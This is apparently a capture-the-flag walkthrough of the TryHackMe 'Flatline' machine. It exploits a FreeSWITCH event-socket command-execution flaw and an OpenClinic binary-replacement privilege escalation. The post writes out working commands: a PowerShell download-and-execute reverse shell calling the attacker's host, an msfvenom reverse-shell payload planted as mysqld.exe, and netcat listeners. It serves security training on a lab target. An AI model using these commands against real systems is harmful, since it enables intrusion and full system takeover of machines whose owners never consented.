TryHackMe Flatline Walkthrough
Tags: beginners, security, tryhackme, ctf
Published: 2022-11-06 13:19:35

TryHackMe page for this machine => https://tryhackme.com/room/flatline

NOTE: I had to terminate and start the machine multiple times, as the exploit needed for foothold timed out multiple times. You may have to do the same.

# Enum

## rustscan nmap
```bash
rustscan -a 10.10.98.113 -- -A -Pn

Open 10.10.98.113:3389
Open 10.10.98.113:8021

PORT     STATE SERVICE          REASON  VERSION
3389/tcp open  ms-wbt-server    syn-ack Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-EOM4PK0578N
|   NetBIOS_Domain_Name: WIN-EOM4PK0578N
|   NetBIOS_Computer_Name: WIN-EOM4PK0578N
|   DNS_Domain_Name: WIN-EOM4PK0578N
|   DNS_Computer_Name: WIN-EOM4PK0578N
|   Product_Version: 10.0.17763
|_  System_Time: 2022-11-06T09:40:13+00:00
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Issuer: commonName=WIN-EOM4PK0578N
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-11-05T09:12:21
| Not valid after:  2023-05-07T09:12:21
| MD5:   3090 28ea a18f 37ce f134 275b 8a11 85b7
| SHA-1: 0594 e942 a7b3 ca04 7e4e 625c 6c0b 6903 f089 dde0
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQd/ojPAXxV75Ihn2h8kAwfTANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9XSU4tRU9NNFBLMDU3OE4wHhcNMjIxMTA1MDkxMjIxWhcNMjMw
| NTA3MDkxMjIxWjAaMRgwFgYDVQQDEw9XSU4tRU9NNFBLMDU3OE4wggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQClNnOLEC5U40F8dFZZtmmSj8zVa4Fqd0fU
| 3O+Pf/sDLF/23s4R6LkjvmjZaGNWMAVzlKwOMYJ3umlmLTRJJF0DEnaM79phGLba
| ePPbdRiUjUQFdBK9tyPpYCLB2m+K1z0YJLoXt8br7WSVp7Ho8Sz2E6sBZRM5H6QN
| ptO8j/syFSdLYWusTAp/gEQpVUoiElFcmDfa7rP2gQELHb03EvL9Gz9lPRrrVA3r
| XzEUNuqkG4J70LenFv7AH1j70FL48UStBESKYLaXaruRN8TkVjRWhmrYhC7tMVRB
| h8oVb8bcCvwqsw7VYEy197AdyePV0fkvjfbyrp6tstPMVm4hFM2FAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAfv/F86NeGYpqgaQz5Q+R5FrYkqnZoZBxrlbpG8rB9+hixOjRs6s6skjy
| x0IYovOcSXI3Sy4dh3GRjWn+hv5szbYzb4hKQojzw7CNScJSbTyGh7sJuGv1+hUe
| F6izAORicQkApcLweXv5MyVj1qUrmwWo4DpbG34nIf6W6hpNlW2VdWfCqIfjnEvy
| 3LOWrn++sncxXdBmg24fDNohJJFgvp3ui7VbmYVepe1SmqIql7vKt+qMV2kZv+cg
| SU1pZqYrHwwcpD3Qx6R7oqSVHjulW1eGTC6t+au8Oc6rytgamvbrCIGAwSUVcJLt
| pVkvw++/yMtWLoiiT+RCa2abEwEcPw==
|_-----END CERTIFICATE-----
|_ssl-date: 2022-11-06T09:40:13+00:00; 0s from scanner time.
8021/tcp open  freeswitch-event syn-ack FreeSWITCH mod_event_socket
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

```

Note: The machine keeps blocking ping probes. So use the nmap`-Pn` flag when enumerating the machine!. 

## Port 3389 Enumeration

Let's use some nmap scripts to enumerate the port some more.

```bash
└─$ sudo nmap --script="rdp-*" -p 3389 flatline.thm -vv -Pn

PORT     STATE SERVICE       REASON
3389/tcp open  ms-wbt-server syn-ack ttl 127
| rdp-ntlm-info: 
|   Target_Name: WIN-EOM4PK0578N
|   NetBIOS_Domain_Name: WIN-EOM4PK0578N
|   NetBIOS_Computer_Name: WIN-EOM4PK0578N
|   DNS_Domain_Name: WIN-EOM4PK0578N
|   DNS_Computer_Name: WIN-EOM4PK0578N
|   Product_Version: 10.0.17763
|_  System_Time: 2022-11-06T09:55:55+00:00
| rdp-enum-encryption: 
|   Security layer
|     CredSSP (NLA): SUCCESS
|     CredSSP with Early User Auth: SUCCESS
|_    RDSTLS: SUCCESS

```

## Port 8021 Enumeration

I wanted to see what in the world FreeSWITCH is. From Wikipedia https://en.wikipedia.org/wiki/FreeSWITCH

***FreeSWITCH** is [free and open-source](https://en.wikipedia.org/wiki/Free_and_open-source "Free and open-source") server software for [real-time communication](https://en.wikipedia.org/wiki/Real-time_communication "Real-time communication") applications, including [WebRTC](https://en.wikipedia.org/wiki/WebRTC "WebRTC"), [video](https://en.wikipedia.org/wiki/Video "Video"), and [voice over Internet Protocol](https://en.wikipedia.org/wiki/Voice_over_Internet_Protocol "Voice over Internet Protocol") (VoIP). It runs on [Linux](https://en.wikipedia.org/wiki/Linux "Linux"), [Windows](https://en.wikipedia.org/wiki/Windows "Windows"), [macOS](https://en.wikipedia.org/wiki/MacOS "MacOS"), and [FreeBSD](https://en.wikipedia.org/wiki/FreeBSD "FreeBSD"). FreeSWITCH is used to build [private branch exchange](https://en.wikipedia.org/wiki/Private_branch_exchange "Private branch exchange") (PBX) [telecommunication](https://en.wikipedia.org/wiki/Telecommunication "Telecommunication") systems, [IVR](https://en.wikipedia.org/wiki/IVR "IVR") services, [videoconferencing](https://en.wikipedia.org/wiki/Videoconferencing "Videoconferencing") with [chat](https://en.wikipedia.org/wiki/Online_chat "Online chat") and [screen sharing](https://en.wikipedia.org/wiki/Screen_sharing "Screen sharing"), wholesale [least-cost routing](https://en.wikipedia.org/wiki/Least-cost_routing), [Session Border Controller](https://en.wikipedia.org/wiki/Session_Border_Controller "Session Border Controller") (SBC) and [embedded](https://en.wikipedia.org/wiki/Embedded_system "Embedded system") communication [appliances](https://en.wikipedia.org/wiki/Computer_appliance "Computer appliance").*

Let's look for some vulnerabilities. 


```bash
└─$ searchsploit freeswitch                                
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
FreeSWITCH - Event Socket Command Execution (Metasploit)                                                                   | multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution                                                                                      | windows/remote/47799.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

```

Interesting. Let's try and get RCE without Metasploit.

# Foothold

### RCE without Metasploit

Using the script present here => https://www.exploit-db.com/exploits/47799

```bash
└─$ python3 exploit.py flatline.thm whoami
Authenticated
Content-Type: api/response
Content-Length: 25

win-eom4pk0578n\nekrotic

```

Looks like it works! Let's try and get a proper shell going on here.

```powershell
└─$ python3 exploit.py 10.10.7.242 dir   
Authenticated
Content-Type: api/response
Content-Length: 2346

 Volume in drive C has no label.
 Volume Serial Number is 84FD-2CC9

 Directory of C:\Program Files\FreeSWITCH

09/11/2021  07:38    <DIR>          .
09/11/2021  07:38    <DIR>          ..
09/11/2021  07:22    <DIR>          cert
09/11/2021  07:22    <DIR>          conf
06/11/2022  10:33    <DIR>          db
09/11/2021  07:18    <DIR>          fonts
20/08/2019  12:08         4,991,488 FreeSwitch.dll
20/08/2019  12:08            26,624 FreeSwitchConsole.exe
20/08/2019  12:19            62,976 fs_cli.exe
09/11/2021  07:18    <DIR>          grammar
---
SNIP
---
24/03/2018  20:20        15,766,528 v8.dll
24/03/2018  20:05           177,152 v8_libbase.dll
24/03/2018  20:19           134,656 v8_libplatform.dll
03/04/2018  14:01           126,976 zlib.dll
              28 File(s)     96,800,060 bytes
              17 Dir(s)  50,476,666,880 bytes free

```

Let's try and get the user flag.
```powershell
└─$ python3 exploit.py 10.10.7.242 "dir C:\\Users\\"
Authenticated
Content-Type: api/response
Content-Length: 405

 Volume in drive C has no label.
 Volume Serial Number is 84FD-2CC9

 Directory of C:\Users

09/11/2021  07:28    <DIR>          .
09/11/2021  07:28    <DIR>          ..
09/11/2021  07:13    <DIR>          Administrator
09/11/2021  07:37    <DIR>          Nekrotic
09/11/2021  07:13    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  50,457,559,040 bytes free

└─$ python3 exploit.py 10.10.7.242 "dir C:\\Users\\Nekrotic\\Desktop\\"
Authenticated
Content-Type: api/response
Content-Length: 374

 Volume in drive C has no label.
 Volume Serial Number is 84FD-2CC9

 Directory of C:\Users\Nekrotic\Desktop

09/11/2021  07:39    <DIR>          .
09/11/2021  07:39    <DIR>          ..
09/11/2021  07:39                38 root.txt
09/11/2021  07:39                38 user.txt
               2 File(s)             76 bytes
               2 Dir(s)  50,446,991,360 bytes free


```

Wow. We seem to have found both files. We can read `user.txt`. 

But we can't read `root.txt`. Probably a permissions issue. 

Let's get a powershell reverse shell to see what's really going on.

### Powershell Reverse Shell

1. Save this file https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
2. Delete the second shell comment. As for the first one, uncomment and replace IP and PORT as per your choice.
3. Start a Python web server in the folder where you saved the powershell script. This is what we will use to serve the script.
4. Download and execute the script on remote machine using the FreeSWITCH exploit.

Running the exploit
```bash
┌──(kali㉿kali)-[~/Documents/ctf/thm_easy_flatline]
└─$ python3 exploit.py 10.10.7.242 "powershell IEX (New-Object Net.WebClient).DownloadString('http://10.14.31.78/Invoke-PowerShellTcpOneLine.ps1')"
```

Run the web server to serve the Powershell reverse shell
```bash
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.7.242 - - [06/Nov/2022 06:20:12] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
```

Reverse Shell listener
```powershell
┌──(kali㉿kali)-[~]
└─$ ncat -lnvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.7.242.
Ncat: Connection from 10.10.7.242:49899.

PS C:\Program Files\FreeSWITCH> gci


    Directory: C:\Program Files\FreeSWITCH


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       09/11/2021     07:22                cert                                                                  
d-----       09/11/2021     07:22                conf                                                                  
d-----       06/11/2022     10:33                db                                                                    
d-----       09/11/2021     07:18                fonts                                                                 
d-----       09/11/2021     07:18                grammar    
....
SNIP
....

PS C:\Users\Nekrotic\Desktop> get-acl -path user.txt

    Directory: C:\Users\Nekrotic\Desktop

Path     Owner                    Access                                                                               
----     -----                    ------                                                                               
user.txt WIN-EOM4PK0578N\Nekrotic NT AUTHORITY\SYSTEM Allow  FullControl...  

PS C:\Users\Nekrotic\Desktop> get-acl -Path root.txt

    Directory: C:\Users\Nekrotic\Desktop

Path     Owner               Access                                
----     -----               ------                                
root.txt NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM Allow  FullControl
```

Now we can see why we can't read `root.txt`. We will need to escalate privileges to be able to read the file.

# Privesc

While taking a look around the system, I came across this in the Administrator's desktop
```powershell

PS C:\Users\Administrator\Desktop> gci

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       08/11/2021     18:24      108048384 FreeSWITCH-1.10.1-Release-x64.msi                                     
-a----       08/11/2021     06:05      413584335 OpenClinicSetup5.194.18_32bit_full_fr_en_pt_es_nl.exe 

```

I am guessing this **OpenClinic** software is installed. Looking around the system further, we find its installation location at `C:\projects\openclinic`.

```powershell

PS C:\projects\openclinic> gci

    Directory: C:\projects\openclinic
    
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       09/11/2021     07:29                jdk1.8                                                                
d-----       09/11/2021     07:19                mariadb                                                               
d-----       09/11/2021     07:30                tomcat8                                                               
d-----       09/11/2021     07:29                Uninstall                                                             
-a----       06/04/2021     23:14            250 configureCountry.bat                                                  
-a----       01/07/2021     18:20            167 configureLanguage.bat                                                 
-a----       09/11/2021     07:18         334840 lua5.1.dll                                                            
-a----       07/06/2021     16:58          93696 OpenClinic GA login.exe                                               
-a----       08/05/2020     12:17          27136 OpenClinicStartServices.exe                                           
-a----       02/05/2021     00:45            316 stopOpenClinicHttp.bat                                                
-a----       09/11/2021     07:18        1389568 uninstall.exe   

```

Let's see what we can do with this.

```bash
┌──(kali㉿kali)-[~/Documents/ctf_tools]
└─$ searchsploit openclinic
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenClinic GA 5.194.18 - Local Privilege Escalation                                                                        | windows/local/50448.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------

```

Details of this exploit here => https://www.exploit-db.com/exploits/50448

According to the instructions we need to replace the `mysqld.exe` present in the OpenClinic installation with a malicious payload generated by us.

Let's see if we have the permissions to do that.

```powershell

PS C:\projects\openclinic\mariadb\bin> get-acl -Path .

    Directory: C:\projects\openclinic\mariadb

Path Owner                  Access                                                                                     
---- -----                  ------                                                                                     
bin  BUILTIN\Administrators NT AUTHORITY\SYSTEM Allow  FullControl...

PS C:\projects\openclinic\mariadb\bin> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes                                                     
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\BATCH                                            Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group             
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group             
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288                                                     

```

Looks like we can.

Let's begin. 

## Generate Payload

On our machine. 
```bash
└─$ msfpc powershell 10.14.31.78 443 cmd reverse stageless exe
 [*] MSFvenom Payload Creator (MSFPC v1.4.5)
 [i]   IP: 10.14.31.78
 [i] PORT: 443
 [i] TYPE: windows (windows/shell_reverse_tcp)
 [i]  CMD: msfvenom -p windows/shell_reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=10.14.31.78 LPORT=443 \
  > '/home/kali/Documents/ctf/thm_easy_flatline/windows-shell-stageless-reverse-tcp-443.exe'

 [i] windows shell created: '/home/kali/Documents/ctf/thm_easy_flatline/windows-shell-stageless-reverse-tcp-443.exe'

 [i] MSF handler file: '/home/kali/Documents/ctf/thm_easy_flatline/windows-shell-stageless-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/home/kali/Documents/ctf/thm_easy_flatline/windows-shell-stageless-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

└─$ mv windows-shell-stageless-reverse-tcp-443.exe mysqld.exe
```

On the server. 

We will have to restart the computer as per the exploit instructions.

```powershell
PS C:\projects\openclinic\mariadb\bin> mv mysqld.exe mysqld.exe.bak

PS C:\projects\openclinic\mariadb\bin> IWR -Uri http://10.14.31.78/mysqld.exe -OutFile mysqld.exe                    

PS C:\projects\openclinic> Restart-Computer 

```

Now we wait for our reverse shell to activate.

```powershell

└─$ ncat -lnvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.52.62.
Ncat: Connection from 10.10.52.62:49669.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

```

DONE! Go get that root flag!